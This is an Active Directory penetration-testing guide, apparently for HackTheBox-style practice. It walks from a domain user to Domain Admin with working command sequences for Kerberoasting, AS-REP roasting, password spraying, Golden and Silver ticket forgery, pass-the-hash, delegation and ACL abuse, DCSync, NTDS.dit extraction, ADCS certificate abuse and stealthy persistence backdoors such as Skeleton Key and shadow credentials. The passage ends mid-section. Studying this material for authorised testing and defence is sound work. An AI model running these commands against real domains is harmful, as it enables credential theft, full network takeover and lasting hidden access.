kavklaw@llm $ bloodhound-python -c all
From Domain User to Domain Admin, Every Attack Path Explained
AD pentesting relies on a specific toolkit. Get these installed before starting:
Kali Linux: Most of these come preinstalled. Check with impacket-GetNPUsers --help and crackmapexec --version.
Debian/Ubuntu or manual install:
# Impacket (Python β the most critical tool)
pipx install impacket
# Or: pip install impacket
# BloodHound collector (Python)
pipx install bloodhound
# CrackMapExec / NetExec
# crackmapexec is now netexec: pipx install netexec
# Or the newer fork: pipx install netexec
# Kerbrute (Go binary β download from GitHub)
# https://github.com/ropnop/kerbrute/releases
# Evil-WinRM (Ruby)
sudo gem install evil-winrm
# BloodHound GUI (requires Neo4j + Java)
# Follow: https://bloodhound.readthedocs.io/en/latest/installation/linux.html
Windows-side tools (upload to targets during engagements): Rubeus, Mimikatz, PowerView (PowerSploit), SharpHound. These are .exe and .ps1 files β download from their GitHub repos and keep them in your toolkit.
Active Directory (AD) is Microsoft's directory service, basically a centralized database that manages every user, computer, group, policy, and resource in a corporate network. When you see "domain\username" or "[email protected]" at a Windows login, that's Active Directory. If you've never worked in a corporate Windows environment, think of AD as the master address book and permission system for an entire company.
Why do pentesters care? Because 95% of Fortune 1000 companies use Active Directory, and compromising the Domain Controller means you control everything: every user account, every computer, every file share, every email. It's the crown jewels of corporate IT. AD is the single most valuable target in enterprise pentesting because it's the central nervous system β one compromised Domain Admin account cascades into control over thousands of machines, making it the fastest path from initial foothold to total network dominance.
AD is also the most common subject in medium-to-insane rated HackTheBox machines. Understanding it is non-negotiable if you want to progress past beginner-level pentesting.
Got domain credentials? Here's what to run immediately. These commands check for the most common quick wins β attack paths that can give you Domain Admin in minutes:
# Enumerate the domain with BloodHound
bloodhound-python -u 'user' -p 'password' -d domain.htb -ns DC_IP -c all
# Check for quick wins
# AS-REP Roasting (no creds needed if you have a username list)
impacket-GetNPUsers domain.htb/ -usersfile users.txt -no-pass -dc-ip DC_IP
# Kerberoasting (need valid creds)
impacket-GetUserSPNs domain.htb/user:password -dc-ip DC_IP -request
# Password spraying
kerbrute passwordspray -d domain.htb users.txt 'Welcome1!' --dc DC_IP
# Crack any hashes you get
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt # AS-REP
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt # Kerberoast
Before attacking AD, you need to understand its architecture. Skip this section if you're already familiar.
corp.company.comHow these fit together: Think of AD like a company building. Users are the employees, groups are departments (Marketing, Engineering, Admins) that determine what resources you can access. OUs are the floors or wings of the building β they organize users and computers into logical containers. GPOs are the building rules posted on each floor β they automatically enforce security policies (password complexity, screen lock timeout, software installations) on everything inside an OU. An attacker who can modify a GPO applied to the entire domain effectively controls every machine in the organization.
ββββββββββββ 1. AS-REQ (timestamp ββββββββββββ
β β encrypted w/ user hash) β β
β Client βββββββββββββββββββββββββββββββΆβ KDC β
β ββββββββββββββββββββββββββββββββ (on DC) β
β β 2. AS-REP (TGT encrypted β β
β β w/ krbtgt hash) β β
β β β β
β β 3. TGS-REQ (TGT + "I want β β
β β to access SQL service") β β
β βββββββββββββββββββββββββββββββΆβ β
β ββββββββββββββββββββββββββββββββ β
β β 4. TGS-REP (Service Ticket β β
β β encrypted w/ svc hash) ββββββββββββ
β β
β β 5. AP-REQ (Service Ticket) ββββββββββββ
β βββββββββββββββββββββββββββββββΆβ Service β
ββββββββββββ ββββββββββββ
Why this matters for attackers:
Before attacking, you need to understand the domain structure, find privileged accounts, and identify attack paths.
BloodHound visualizes AD relationships and automatically finds attack paths to Domain Admin. It's the single most important tool for AD pentesting.
# βββ Data Collection βββββββββββββββββββββ
# From Linux (recommended for CTFs):
bloodhound-python -u 'user' -p 'password' -d domain.htb -ns DC_IP -c all
# Generates JSON files: users, groups, computers, domains, sessions, etc.
# From Windows (SharpHound):
.\SharpHound.exe -c all
# Or in PowerShell:
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
# βββ Analysis ββββββββββββββββββββββββββββ
# Import JSON files into BloodHound GUI
# Key queries to run:
# 1. "Shortest Paths to Domain Admins from Owned Principals"
# 2. "Find All Kerberoastable Users"
# 3. "Find AS-REP Roastable Users"
# 4. "Find Computers with Unconstrained Delegation"
# 5. "Shortest Paths to High Value Targets"
# Custom Cypher queries:
# Find users with DCSync rights:
MATCH (u:User)-[:MemberOf*1..]->(g:Group)-[:DCSync|GetChanges|GetChangesAll]->(d:Domain) RETURN u.name
# Find users with GenericAll on other users:
MATCH (u:User)-[:GenericAll]->(t:User) RETURN u.name, t.name
# ldapsearch β from Linux
# List all users:
ldapsearch -x -H ldap://DC_IP -D '[email protected]' -w 'password' -b 'DC=domain,DC=htb' '(objectClass=user)' sAMAccountName
# Find admin users:
ldapsearch -x -H ldap://DC_IP -D '[email protected]' -w 'password' -b 'DC=domain,DC=htb' '(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=htb)' sAMAccountName
# Find computers:
ldapsearch -x -H ldap://DC_IP -D '[email protected]' -w 'password' -b 'DC=domain,DC=htb' '(objectClass=computer)' dNSHostName
# Find SPNs (Kerberoastable accounts):
ldapsearch -x -H ldap://DC_IP -D '[email protected]' -w 'password' -b 'DC=domain,DC=htb' '(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName servicePrincipalName
# Anonymous LDAP bind (sometimes works):
ldapsearch -x -H ldap://DC_IP -b 'DC=domain,DC=htb'
# Import PowerView
Import-Module .\PowerView.ps1
# Domain info
Get-Domain
Get-DomainController
# Users
Get-DomainUser | Select-Object samaccountname, description, memberof
Get-DomainUser -SPN # Kerberoastable users
Get-DomainUser -PreauthNotRequired # AS-REP Roastable
# Groups
Get-DomainGroup | Select-Object name
Get-DomainGroupMember "Domain Admins"
# Computers
Get-DomainComputer | Select-Object dnshostname, operatingsystem
# Shares
Find-DomainShare -CheckShareAccess
# GPOs
Get-DomainGPO | Select-Object displayname, gpcfilesyspath
# ACLs (very important!)
Find-InterestingDomainAcl -ResolveGUIDs
Get-DomainObjectAcl -Identity "target_user" -ResolveGUIDs
$ impacket- domain.htb/ -usersfile users.txt -no-pass -dc-ip DC_IP
π‘ Pro tip: When you get domain credentials, the very first thing to do is run BloodHound. It will show you attack paths that would take hours to find manually. Mark your owned users as "Owned" in the UI, and BloodHound will find the shortest path from them to Domain Admin.
Normally when you ask Kerberos for a ticket, you first have to prove you know your password (this is called "preauthentication"). But if a user has the "Do not require Kerberos preauthentication" flag set in their AD account, anyone can request their ticket (TGT) without proving anything. The ticket is encrypted with the user's password hash, so you can take it offline and try to crack it. The best part: you don't even need valid credentials to do this, just a list of usernames.
# Requirements: Username list (no password needed!)
# From Linux:
impacket-GetNPUsers domain.htb/ -usersfile users.txt -no-pass -dc-ip DC_IP -format hashcat
# Output: [email protected]:abc123...
# With valid credentials (enumerate vulnerable users automatically):
impacket-GetNPUsers domain.htb/user:password -dc-ip DC_IP -request
# From Windows (Rubeus):
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
# Crack the hash:
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt
# Mode 18200 = Kerberos 5, etype 23, AS-REP
# Why does this work?
# Normally, the KDC requires preauthentication: you prove you know the password
# by encrypting a timestamp with your hash. If preauth is disabled, the KDC
# just hands you an encrypted TGT β and you crack it offline.
An SPN (Service Principal Name) is a label that identifies a service in AD, like "this account runs the SQL server." Any authenticated domain user can request a service ticket (TGS) for any service with an SPN. This is a normal, expected Kerberos operation. The ticket is encrypted with the service account's password hash, which means you can take it offline and try to crack it. Service accounts often have weak or old passwords, making this very effective.
# Requirements: Valid domain credentials
# From Linux:
impacket-GetUserSPNs domain.htb/user:password -dc-ip DC_IP -request
# Output: $krb5tgs$23$*svc_sql$DOMAIN.HTB$MSSQLSvc/sql.domain.htb:1433...
# From Windows (Rubeus):
.\Rubeus.exe kerberoast /outfile:tgs_hashes.txt
# From Windows (PowerView):
Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat hashcat | Select-Object -ExpandProperty Hash
# Crack:
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt
# Mode 13100 = Kerberos 5, etype 23, TGS-REP
# What makes Kerberoasting powerful:
# 1. ANY domain user can do this β no special privileges needed
# 2. It's a NORMAL Kerberos operation β hard to detect
# 3. Service accounts often have weak passwords
# 4. Service accounts often have high privileges (SQL admin, etc.)
# 5. The cracking is entirely OFFLINE β no lockout risk
The krbtgt account is the master key of Kerberos. Its hash encrypts all TGTs (the "passport" tickets). If you get this hash, you can forge TGTs for ANY user, including Domain Admin. This is like being able to print your own passports. It's the ultimate persistence mechanism because it works even after passwords are changed (except for krbtgt itself).
# Requirements: krbtgt NTLM hash + Domain SID
# Getting the krbtgt hash (requires Domain Admin or DCSync):
impacket-secretsdump domain.htb/admin:password@DC_IP
# Look for: krbtgt:502:aad3b435...:krbtgt_ntlm_hash:::
# Or with Mimikatz:
lsadump::dcsync /domain:domain.htb /user:krbtgt
# Forge Golden Ticket with impacket:
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-DOMAIN-SID -domain domain.htb Administrator
# Use the ticket:
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass domain.htb/[email protected]
# Forge with Mimikatz:
kerberos::golden /user:Administrator /domain:domain.htb /sid:S-1-5-21-DOMAIN-SID /krbtgt:KRBTGT_HASH /ptt
# /ptt = Pass-the-Ticket (inject into memory immediately)
# Golden Ticket properties:
# - Valid for 10 years by default
# - Works even if the "Administrator" password changes
# - Only invalidated by changing the krbtgt password TWICE
# - Can impersonate any user, including non-existent ones
Like a Golden Ticket but scoped to a single service. Forged with a service account's hash instead of krbtgt's.
# Requirements: Service account NTLM hash + Domain SID + SPN
# Forge Silver Ticket for CIFS (file share access):
impacket-ticketer -nthash SERVICE_HASH -domain-sid S-1-5-21-DOMAIN-SID \
-domain domain.htb -spn CIFS/target.domain.htb Administrator
export KRB5CCNAME=Administrator.ccache
impacket-smbclient -k -no-pass //target.domain.htb/C$
# Forge for HTTP (web service):
impacket-ticketer -nthash SERVICE_HASH -domain-sid S-1-5-21-DOMAIN-SID \
-domain domain.htb -spn HTTP/target.domain.htb Administrator
# Silver vs Golden:
# Golden: Forges TGT β access ANY service β requires krbtgt hash
# Silver: Forges TGS β access ONE service β requires service account hash
# Silver is stealthier because it never contacts the DC
Instead of trying many passwords against one user (brute force, which triggers account lockouts), password spraying tries one common password against ALL users. This stays under the lockout threshold because each user only gets one wrong attempt. In a company with 500 users, even a 1% success rate gives you 5 accounts.
# With kerbrute (fastest, uses Kerberos):
kerbrute passwordspray -d domain.htb users.txt 'Welcome1!' --dc DC_IP
kerbrute passwordspray -d domain.htb users.txt 'Company2024!' --dc DC_IP
kerbrute passwordspray -d domain.htb users.txt 'Summer2024!' --dc DC_IP
# Common spray passwords:
# Season+Year: Spring2024!, Summer2024!, Fall2024!, Winter2024!
# Company+Year: CompanyName2024!
# Welcome: Welcome1!, Welcome2024!
# Password: Password1!, P@ssw0rd!, Password123
# With CrackMapExec:
crackmapexec smb DC_IP -u users.txt -p 'Welcome1!' --continue-on-success
# --continue-on-success: don't stop after first hit
# Check lockout policy first!
crackmapexec smb DC_IP -u user -p password --pass-pol
# Or:
net accounts /domain
# Look for: Lockout threshold, Lockout observation window
# Rule of thumb: spray ONE password, wait 30+ minutes, spray another
Here's a key concept: NTLM authentication uses password hashes, not the actual password. The server never sees your password. It only checks the hash. This means if you have a user's NTLM hash (from a dump, from memory, or from a database), you can log in as them without ever knowing their actual password.
# With CrackMapExec:
crackmapexec smb DC_IP -u Administrator -H 'aad3b435...:NTLM_HASH'
crackmapexec winrm DC_IP -u Administrator -H 'aad3b435...:NTLM_HASH'
# With impacket:
impacket-psexec domain.htb/Administrator@DC_IP -hashes :NTLM_HASH
impacket-wmiexec domain.htb/Administrator@DC_IP -hashes :NTLM_HASH
impacket-smbexec domain.htb/Administrator@DC_IP -hashes :NTLM_HASH
# With Evil-WinRM:
evil-winrm -i DC_IP -u Administrator -H NTLM_HASH
# Getting NTLM hashes:
# - Mimikatz: sekurlsa::logonpasswords
# - hashdump (Meterpreter)
# - SAM dump: impacket-secretsdump -sam SAM -system SYSTEM LOCAL
# - DCSync: impacket-secretsdump domain.htb/admin:password@DC_IP
# Export tickets from memory (Windows β Mimikatz):
sekurlsa::tickets /export
# Creates .kirbi files for each ticket
# Import a ticket:
kerberos::ptt ticket.kirbi
# From Linux β use .ccache files:
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec -k -no-pass domain.htb/[email protected]
# Rubeus:
.\Rubeus.exe dump # List cached tickets
.\Rubeus.exe ptt /ticket:base64_encoded_ticket
Kerberos delegation is a feature that lets a service act on behalf of a user. For example, when you log into a web app and it needs to query a database as "you," it uses delegation. When misconfigured, an attacker can abuse delegation to impersonate any user (including Domain Admin) to any service. Don't worry if delegation feels confusing at first. It's one of the more complex AD topics, but the attack steps are straightforward once you know the tools.
Unconstrained delegation is the most permissive form: the machine is trusted to act as any user to any service. To do this, it keeps a copy of every user's TGT (their master "passport" ticket) when they log in. Compromise that machine β steal everyone's tickets, including potentially the Domain Controller's.
# Find computers with unconstrained delegation:
# BloodHound: "Find Computers with Unconstrained Delegation"
# Or PowerView:
Get-DomainComputer -Unconstrained | Select-Object dnshostname
# ldapsearch:
ldapsearch -x -H ldap://DC_IP -D '[email protected]' -w 'password' -b 'DC=domain,DC=htb' \
'(userAccountControl:1.2.840.113556.1.4.803:=524288)' sAMAccountName
# Attack:
# 1. Compromise the machine with unconstrained delegation
# 2. Use Rubeus to monitor for incoming TGTs:
.\Rubeus.exe monitor /interval:5 /nowrap
# 3. Coerce authentication from the DC (SpoolSample/Printerbug):
.\SpoolSample.exe dc.domain.htb unconstrained.domain.htb
# 4. The DC's TGT arrives β use it for DCSync
Constrained delegation is more restrictive: the service can only impersonate users to specific target services listed in the msDS-AllowedToDelegateTo attribute. However, attackers can abuse the S4U (Service for User) Kerberos extensions to request tickets as any user to those allowed services.
# Find accounts with constrained delegation:
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname, msds-allowedtodelegateto
# Attack with impacket (S4U2Self + S4U2Proxy):
impacket-getST -spn 'CIFS/target.domain.htb' -impersonate Administrator \
domain.htb/svc_account:password -dc-ip DC_IP
export KRB5CCNAME=Administrator@[email protected]
impacket-psexec -k -no-pass target.domain.htb
# With Rubeus:
.\Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator \
/msdsspn:"CIFS/target.domain.htb" /ptt
RBCD is a newer, more commonly exploited form of delegation. The key difference: instead of an admin setting up delegation on the source ("this service can impersonate users"), RBCD is configured on the target ("this computer trusts that service to impersonate users"). If you can write to a computer's AD object (which BloodHound often reveals), you can tell it to trust a computer account you control, and then impersonate any user to that target.
# Requirements:
# 1. Write access to a computer's msDS-AllowedToActOnBehalfOfOtherIdentity
# 2. A computer account you control (or create one if MAQ > 0)
# Step 1: Create a computer account (if needed)
impacket-addcomputer domain.htb/user:password -computer-name 'FAKECOMP$' -computer-pass 'FakePass123!'
# Step 2: Set RBCD on the target
impacket-rbcd domain.htb/user:password -delegate-to 'TARGET$' -delegate-from 'FAKECOMP$' -dc-ip DC_IP -action write
# Step 3: Get a service ticket impersonating Administrator
impacket-getST -spn 'CIFS/target.domain.htb' -impersonate Administrator \
domain.htb/'FAKECOMP$':'FakePass123!' -dc-ip DC_IP
# Step 4: Use the ticket
export KRB5CCNAME=Administrator@[email protected]
impacket-psexec -k -no-pass target.domain.htb
Access Control Lists (ACLs) are permission rules that define who can do what to each AD object (users, groups, computers). Think of them like file permissions, but for AD objects. For example, an ACL might say "User A can reset User B's password." Misconfigured ACLs are one of the most common attack paths found by BloodHound, because admins often grant too many permissions without realizing the security impact.
# βββ GenericAll (full control) βββββββββββ
# You can reset the target's password, modify their attributes, etc.
# Reset password:
net rpc password "target_user" 'NewP@ssw0rd!' -U 'domain.htb/attacker%password' -S DC_IP
# Or with PowerView:
Set-DomainUserPassword -Identity target_user -AccountPassword (ConvertTo-SecureString 'NewP@ssw0rd!' -AsPlainText -Force)
# If GenericAll on a GROUP β add yourself:
net rpc group addmem "Domain Admins" attacker -U 'domain.htb/attacker%password' -S DC_IP
# If GenericAll on a COMPUTER β configure RBCD (see above)
# βββ WriteDACL βββββββββββββββββββββββββββ
# You can modify the ACL itself β grant yourself GenericAll, then exploit
# With PowerView:
Add-DomainObjectAcl -TargetIdentity target_user -PrincipalIdentity attacker -Rights All
# With impacket:
impacket-dacledit domain.htb/attacker:password -target target_user -dc-ip DC_IP -action write -rights FullControl
# βββ ForceChangePassword ββββββββββββββββ
# Can change the target's password without knowing the current one
net rpc password "target_user" 'NewP@ssw0rd!' -U 'domain.htb/attacker%password' -S DC_IP
# βββ WriteOwner ββββββββββββββββββββββββββ
# Change the owner of an object, then modify its ACL
# With PowerView:
Set-DomainObjectOwner -Identity target_object -OwnerIdentity attacker
# βββ GenericWrite ββββββββββββββββββββββββ
# Can write to certain attributes
# Useful for: Setting SPN for Kerberoasting, modifying scripts
# Add SPN to a user (targeted Kerberoasting):
Set-DomainObject -Identity target_user -Set @{serviceprincipalname='fake/spn'}
# Then Kerberoast that user
$ impacket- domain.htb/user:password -dc-ip DC_IP -request
$ crackmapexec smb DC_IP -u svc_backup -p 'Backup2023!'
SMB 10.10.10.100 445 DC01 [*] Windows 10.0 Build 17763 x64
SMB 10.10.10.100 445 DC01 [+] domain.htb\svc_backup:Backup2023!
$ crackmapexec smb DC_IP -u svc_backup -p 'Backup2023!' -x "whoami /priv"
SeBackupPrivilege Enabled
π‘ Pro tip: BloodHound is the easiest way to find ACL abuse paths. The "Shortest Paths to Domain Admins" query will show chains like: You β GenericAll on UserA β ForceChangePassword on UserB β Member of Domain Admins. Without BloodHound, finding these chains manually would take hours of LDAP queries.
DCSync is the most powerful attack in AD. Domain Controllers normally sync with each other by sharing their databases (this is called "replication"). DCSync uses the MS-DRSR (Directory Replication Service Remote) protocol to pretend to be a Domain Controller and request the same data. Since replication includes every password hash in the domain, a successful DCSync gives you every single user's credentials. Game over.
# Requirements: Two AD permissions on the domain object:
# "Replicating Directory Changes" + "Replicating Directory Changes All"
# Typically held by: Domain Admins, Enterprise Admins, DC computer accounts
# Who has DCSync rights?
# BloodHound: "Find Principals with DCSync Rights"
# Or check ACLs on the domain object
# With impacket-secretsdump:
impacket-secretsdump domain.htb/admin:password@DC_IP
# Dumps EVERY hash: domain users, computer accounts, krbtgt, etc.
# Target specific accounts:
impacket-secretsdump domain.htb/admin:password@DC_IP -just-dc-user Administrator
impacket-secretsdump domain.htb/admin:password@DC_IP -just-dc-user krbtgt
# With Mimikatz:
lsadump::dcsync /domain:domain.htb /user:Administrator
lsadump::dcsync /domain:domain.htb /all /csv
# After DCSync, you have:
# - Every user's NTLM hash β Pass-the-Hash to anything
# - krbtgt hash β Golden Ticket (persistent access forever)
# - Computer account hashes β Silver Tickets
# - Service account hashes β Access to all services
# The NTDS.dit file IS the AD database β contains all hashes
# It's locked while AD is running, so you need shadow copy
# Method 1: Volume Shadow Copy (vssadmin)
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
# Method 2: ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\temp" q q
# Method 3: From Linux with impacket
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
# Method 4: CrackMapExec
crackmapexec smb DC_IP -u admin -p password --ntds
Lateral movement means using credentials you've obtained to access other machines in the domain. Each tool below uses a different Windows remote access mechanism β some are noisier (create services, leave logs) while others are stealthier:
# βββ PsExec (creates a Windows service to run commands β noisy but reliable) ββ
impacket-psexec domain.htb/admin:password@target_ip
impacket-psexec domain.htb/admin@target_ip -hashes :NTLM_HASH
# βββ WMI (Windows Management Instrumentation β stealthier, no service creation) ββ
impacket-wmiexec domain.htb/admin:password@target_ip
impacket-wmiexec domain.htb/admin@target_ip -hashes :NTLM_HASH
# βββ WinRM (Windows Remote Management β PowerShell remoting, port 5985/5986) ββ
evil-winrm -i target_ip -u admin -p password
evil-winrm -i target_ip -u admin -H NTLM_HASH
# PowerShell remoting:
Enter-PSSession -ComputerName target -Credential domain\admin
# βββ SMBExec (semi-stealthy) ββββββββββββββββββββββββββββ
impacket-smbexec domain.htb/admin:password@target_ip
# βββ DCOM (Distributed COM β stealthy, uses built-in Windows automation objects) β
impacket-dcomexec domain.htb/admin:password@target_ip
# βββ RDP (graphical β useful for GUI-only tasks) ββββββββ
xfreerdp /u:admin /p:password /d:domain.htb /v:target_ip
# βββ CrackMapExec (spray credentials across the network) β
crackmapexec smb 10.10.10.0/24 -u admin -p password
crackmapexec smb 10.10.10.0/24 -u admin -H NTLM_HASH
crackmapexec smb 10.10.10.0/24 -u admin -p password --shares # Enumerate shares
crackmapexec smb 10.10.10.0/24 -u admin -p password -x "whoami" # Execute command
BloodHound shows:
svc_web (Owned) β GenericWrite β SERVER01$
$ crackmapexec ldap DC_IP -u svc_web -p 'password' -M maq
LDAP 10.10.10.100 MAQ: 10
Golden Ticket (most powerful): Already covered above β forge TGTs with krbtgt hash. Survives password changes for all users except krbtgt.
Silver Ticket: Forge service tickets β never contacts the DC. Stealthier but limited to specific services.
DCSync backdoor: Grant a regular user DCSync rights:
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=htb" -PrincipalIdentity backdoor_user -Rights DCSync
Skeleton Key: Injects a backdoor into LSASS (Local Security Authority Subsystem Service β the Windows process that handles authentication). After injection, any user can authenticate with either their real password OR the master password "mimikatz". Doesn't survive reboot because it's only in memory.
privilege::debug
misc::skeleton
Now any user can log in with their normal password OR "mimikatz".
AdminSDHolder: AdminSDHolder is a special AD object whose ACL is automatically copied to all protected groups (Domain Admins, Enterprise Admins, etc.) every 60 minutes by a process called SDProp. If you modify AdminSDHolder's ACL, your changes propagate to all privileged groups automatically:
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=htb" -PrincipalIdentity backdoor_user -Rights All
Foothold βββΆ Domain User βββΆ Kerberoast βββΆ Crack SVC Hash
β
ββββββββββββββββββββββββ
βΌ
Lateral Movement βββΆ More Creds βββΆ DCSync βββΆ Domain Admin
You ββGenericAllβββΆ User B ββWriteDACLβββΆ User C ββMemberOfβββΆ Domain Admins
Domain User βββΆ Find Unconstrained βββΆ Compromise βββΆ Coerce DC Auth
Delegation Host Host (Printerbug)
β
DCSync βββ Capture DC's TGT
GetUserSPNs to enumerate rather than guessing.ntpdate DC_IP/etc/hosts or configure DNS: echo 'nameserver DC_IP' > /etc/resolv.confLMHash:NTHash. If you only have the NT hash, use :NTHash (empty LM hash).RBCD is one of the most versatile and commonly exploited delegation attacks in modern AD environments. Unlike traditional constrained delegation (which is configured on the source account by a domain admin), RBCD is configured on the target computer through the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. This means anyone who can write to a computer object can configure delegation to it.
ms-DS-MachineAccountQuota attribute)# Prerequisites:
# - Valid domain credentials
# - Write access to a target computer's AD object (GenericAll, GenericWrite, etc.)
# - Ability to create a computer account OR control of an existing one
# βββ Step 1: Verify the target ββββββββββ
# Check if you have write access to the target computer object
# BloodHound: Look for GenericAll/GenericWrite edges to computer nodes
# Or with PowerView:
Get-DomainObjectAcl -Identity "TARGET$" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteProperty"}
# βββ Step 2: Check MachineAccountQuota ββ
# Can we create computer accounts?
crackmapexec ldap DC_IP -u user -p password -M maq
# Or:
ldapsearch -x -H ldap://DC_IP -D '[email protected]' -w 'password' -b 'DC=domain,DC=htb' '(objectClass=domain)' ms-DS-MachineAccountQuota
# Default is 10 β if it's > 0, you can create computer accounts
# βββ Step 3: Create a controlled computer account ββ
impacket-addcomputer domain.htb/user:password -computer-name 'EVILCOMP$' -computer-pass 'EvilPass123!' -dc-ip DC_IP
# Verify it was created:
ldapsearch -x -H ldap://DC_IP -D '[email protected]' -w 'password' -b 'DC=domain,DC=htb' '(sAMAccountName=EVILCOMP$)' sAMAccountName
# βββ Step 4: Configure RBCD on the target ββ
# Set msDS-AllowedToActOnBehalfOfOtherIdentity on the TARGET to trust EVILCOMP$
impacket-rbcd domain.htb/user:password -delegate-to 'TARGET$' -delegate-from 'EVILCOMP$' -dc-ip DC_IP -action write
# Verify the delegation:
impacket-rbcd domain.htb/user:password -delegate-to 'TARGET$' -dc-ip DC_IP -action read
# βββ Step 5: Perform S4U attack ββββββββββ
# Use S4U2Self + S4U2Proxy to get a service ticket as Administrator
impacket-getST -spn 'CIFS/target.domain.htb' -impersonate Administrator \
domain.htb/'EVILCOMP$':'EvilPass123!' -dc-ip DC_IP
# βββ Step 6: Use the ticket βββββββββββββ
export KRB5CCNAME=Administrator@[email protected]
impacket-psexec -k -no-pass target.domain.htb
# β SYSTEM shell on the target!
# βββ Cleanup βββββββββββββββββββββββββββββ
# Remove the RBCD configuration:
impacket-rbcd domain.htb/user:password -delegate-to 'TARGET$' -delegate-from 'EVILCOMP$' -dc-ip DC_IP -action remove
# Remove the computer account:
impacket-addcomputer domain.htb/user:password -computer-name 'EVILCOMP$' -dc-ip DC_IP -delete
π‘ Pro tip: RBCD can also be performed using an existing computer account you've compromised (extract its hash from the machine). This avoids creating a new computer account, which is stealthier and works even when MachineAccountQuota is 0.
Shadow Credentials is a clever persistence and escalation technique. The idea: Windows supports certificate-based login (like using an SSH key instead of a password). By adding your own certificate to a target user's AD object, you can log in as them without knowing their password. The beauty is that it doesn't change their password, doesn't trigger typical alerts, and survives password changes.
msDS-KeyCredentialLink attribute to store public keys# Requirements:
# - Write access to the target's msDS-KeyCredentialLink attribute
# - AD CS or PKINIT must be available in the domain (Windows Server 2016+)
# βββ From Linux with pywhisker ββββββββββ
# Install: pip3 install pywhisker
pywhisker -d domain.htb -u attacker -p 'password' --target target_user --action add --dc-ip DC_IP
# pywhisker outputs:
# [+] Updated the msDS-KeyCredentialLink attribute of target_user
# [+] DeviceID: abc123-def456
# [+] PFX password: RandomPassword123
# [+] Saved PFX to: abc123.pfx
# Now authenticate with the PFX certificate:
# Get a TGT using PKINIT:
python3 gettgtpkinit.py domain.htb/target_user -cert-pfx abc123.pfx -pfx-pass RandomPassword123 target_user.ccache
# Extract the NTLM hash from the TGT (UnPAC-the-hash):
export KRB5CCNAME=target_user.ccache
python3 getnthash.py domain.htb/target_user -key AS_REP_KEY_FROM_PREVIOUS_STEP
# Now you have the NTLM hash β Pass-the-Hash!
# βββ From Windows with Whisker ββββββββββ
.\Whisker.exe add /target:target_user /domain:domain.htb /dc:DC01.domain.htb
# Whisker outputs a Rubeus command to get a TGT:
.\Rubeus.exe asktgt /user:target_user /certificate:BASE64_CERT /password:CERT_PASSWORD /domain:domain.htb /dc:DC01.domain.htb /getcredentials /show
# βββ Cleanup βββββββββββββββββββββββββββββ
pywhisker -d domain.htb -u attacker -p 'password' --target target_user --action remove --device-id abc123-def456 --dc-ip DC_IP
# Shadow Credentials is excellent for persistence because:
# 1. It doesn't change the target's password
# 2. It doesn't show up in typical security monitoring
# 3. The key credential survives password changes
# 4. Multiple key credentials can coexist
# Add shadow credentials to the Domain Controller's computer account:
pywhisker -d domain.htb -u admin -p 'password' --target 'DC01$' --action add --dc-ip DC_IP
# Now you can always authenticate as DC01$ β DCSync at will
Active Directory Certificate Services (ADCS) is Microsoft's system for issuing digital certificates (think digital ID cards). It turns out that ADCS is massively misconfigured in most real-world environments. Researchers at SpecterOps cataloged the vulnerabilities as ESC1 through ESC8, and they've become some of the most commonly exploited AD attack paths. If the domain has a Certificate Authority (CA), always check for these.
# Find Certificate Authorities and templates:
# From Linux:
certipy find -u [email protected] -p 'password' -dc-ip DC_IP
# Generates a detailed report of all CAs, templates, and vulnerabilities
# From Windows:
.\Certify.exe find
.\Certify.exe find /vulnerable # Only show exploitable templates
# Key things to look for:
# - Certificate templates with "Client Authentication" EKU
# - Templates where low-privilege users have enrollment rights
# - Templates that allow the subject to be specified by the requester
# - Web enrollment endpoints
The most common and impactful ADCS vulnerability. Occurs when a template allows low-privilege users to request certificates with an arbitrary Subject Alternative Name (SAN), meaning you can request a cert as anyone, including Domain Admin.
# Conditions for ESC1:
# 1. Template grants enrollment rights to low-priv users
# 2. Manager approval is NOT required
# 3. No authorized signatures required
# 4. Template allows requestor to specify a SAN (ENROLLEE_SUPPLIES_SUBJECT)
# 5. Template has "Client Authentication" EKU
# Exploit with certipy:
certipy req -u [email protected] -p 'password' -ca 'CORP-CA' \
-template 'VulnerableTemplate' -upn [email protected] -dc-ip DC_IP
# This requests a certificate as [email protected]!
# Output: administrator.pfx
# Authenticate with the certificate:
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# Output: Administrator's NTLM hash!
# With Certify (Windows):
.\Certify.exe request /ca:DC01.domain.htb\CORP-CA /template:VulnerableTemplate /altname:Administrator
# Convert the cert, then use Rubeus:
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /ptt
# If you have write access to a certificate template's AD object,
# you can modify the template to make it vulnerable to ESC1:
# Modify the template to enable ENROLLEE_SUPPLIES_SUBJECT:
certipy template -u [email protected] -p 'password' -template 'TargetTemplate' \
-save-old -dc-ip DC_IP
# This saves the old config and modifies the template
# Now exploit as ESC1:
certipy req -u [email protected] -p 'password' -ca 'CORP-CA' \
-template 'TargetTemplate' -upn [email protected] -dc-ip DC_IP
# Restore the original template (cleanup):
